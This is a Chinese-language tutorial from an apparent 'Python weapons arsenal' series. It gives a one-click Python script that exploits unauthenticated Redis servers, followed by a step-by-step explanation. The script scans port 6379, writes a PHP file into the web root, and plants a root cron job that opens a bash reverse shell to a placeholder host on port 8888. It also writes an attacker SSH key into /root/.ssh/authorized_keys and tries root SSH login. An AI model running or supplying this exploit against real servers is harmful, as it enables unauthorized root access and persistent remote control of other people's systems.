Python武器库开发-武器库篇之Redis未授权漏洞一键Getshell(五十八)
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进⾏采⽤相关的策略,⽐如添加防⽕墙规则避免其他⾮信任来源 ip 访问等,这样将会将 Redis 服务暴露到公⽹上,如果在没有设置密码认证(⼀般为空)的情况下,会导致任意⽤户在可以访问⽬标服务器的情况下未授权访问 Redis 以及读取Redis 的数据。攻击者在未授权访问 Redis 的情况下,利⽤ Redis ⾃身的提供的config 命令,可以进⾏写⽂件操作,攻击者可以成功将⾃⼰的ssh公钥写⼊⽬标服务器的 /root/.ssh ⽂件夹的authotrized_keys ⽂件中,进⽽可以使⽤对应私钥直接使⽤ssh服务登录⽬标服务器、添加计划任务、写⼊Webshell等操作。
测试环境
主机 | IP |
---|---|
Kali | 192.168.41.132 |
实验代码
对于·Redis未授权访问漏洞getshell 一般常用的有三种方式,第一种是写Webshell,第二种是添加计划任务反弹shell,第三种就是ssh key 免密登录。
以下是使用Python一键 getshell Redis未授权漏洞的代码示例:
python
#!/usr/bin/env python
import redis
import socket
import paramiko
sshkey = 'ssh 公钥'
#用socket扫描端口
def scan_port(ip):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(0.3)
try:
s.connect((ip, 6379))
print("Redis 端口开放!!!")
s.close
check_redis_connect(ip)
except Exception:
pass
def check_redis_connect(ip):
try:
client = redis.StrictRedis(host=ip, port=6379, socket_timeout=0.3)
print(client.client_list())
print("[+]redis未授权存在")
exp_webshell(client)
exp_crontab(client)
exp_ssh(client, ip)
except Exception as e:
print("无法连接,错误原因:{}".format(e))
def exp_webshell(redis_client):
#1.找到web服务器的根目录
root = '/var/www/html/'
redis_client.config_set('dir', root)
redis_client.config_set('dbfilename', 'shell.php')
redis_client.set('x', '<?php phpinfo(); ?>')
redis_client.save()
print('webshell已经写入成功')
def exp_crontab(redis_client):
root = '/var/spool/cron/'
redis_client.config_set('dir',root)
redis_client.config_set('dbfilename','root')
redis_client.set('s', '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/host IP/8888 0>&1\n\n')
redis_client.save()
print('定时任务已经创建')
def exp_ssh(redis_client,ip):
root = '/root/.ssh/'
redis_client.config_set('dir',root)
redis_client.config_set('dbfilename','authorized_keys')
redis_client.set('n','\n\n'+sshkey+'\n\n')
redis_client.save()
print('免密登录已完成')
connect_ssh(ip)
def connect_ssh(ip):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip,22,'root',sshkey)
print('ssh 连接成功')
except Exception:
print('连接失败')
if __name__ == '__main__':
connect_ssh('host IP')
scan_port('host IP')
这段代码的作用是利用Redis未授权访问漏洞,在目标主机上执行一系列操作。下面是代码的详细分析:
-
首先 导入必要的模块:
redis
、socket
、paramiko
。 -
定义了一个SSH公钥变量
sshkey
。 -
定义了一个函数
scan_port(ip)
,用于扫描目标主机的端口。在该函数中,通过创建一个socket对象并连接到目标主机的6379端口,若连接成功,则打印"Redis 端口开放!!!"并调用check_redis_connect(ip)
函数。 -
定义了一个函数
check_redis_connect(ip)
,用于检查是否可以连接到Redis数据库。在该函数中,通过创建一个redis.StrictRedis
对象连接到目标主机的Redis数据库,若连接成功,则打印"redis未授权存在"并依次调用exp_webshell(client)
、exp_crontab(client)
和exp_ssh(client,ip)
函数进行一系列操作。 -
定义了一个函数
exp_webshell(redis_client)
,用于在目标主机上写入一个WebShell。在该函数中,首先设置Redis的配置参数dir为/var/www/html/,然后设置dbfilename为shell.php,接着通过redis_client.set()
方法将一个PHP代码写入Redis数据库,最后调用redis_client.save()
方法保存数据并打印"webshell已经写入成功"。 -
定义了一个函数
exp_crontab(redis_client)
,用于在目标主机上创建一个定时任务。在该函数中,首先设置Redis的配置参数dir为/var/spool/cron/,然后设置dbfilename为root,接着通过redis_client.set()
方法将一个Shell命令写入Redis数据库,最后调用redis_client.save()
方法保存数据并打印"定时任务已经创建"。 -
定义了一个函数
exp_ssh(redis_client,ip)
,用于在目标主机上实现SSH免密登录。在该函数中,首先设置Redis的配置参数dir为/root/.ssh/,然后设置dbfilename为authorized_keys,接着通过redis_client.set()
方法将SSH公钥写入Redis数据库,最后调用redis_client.save()
方法保存数据并打印"免密登录已完成",然后调用connect_ssh(ip)
函数进行SSH连接。 -
定义了一个函数
connect_ssh(ip)
,用于与目标主机建立SSH连接。在该函数中,首先创建一个paramiko.SSHClient
对象,然后设置自动添加主机密钥的策略,接着通过ssh.connect()
方法尝试与目标主机建立SSH连接,若连接成功,则打印"ssh 连接成功",否则打印"连接失败"。 -
在
if __name__ == '__main__':
下,依次调用connect_ssh('host IP')
和scan_port('host IP')
函数,其中connect_ssh()
函数用于检查SSH连接是否成功,scan_port()
函数用于扫描目标主机的Redis端口是否开放。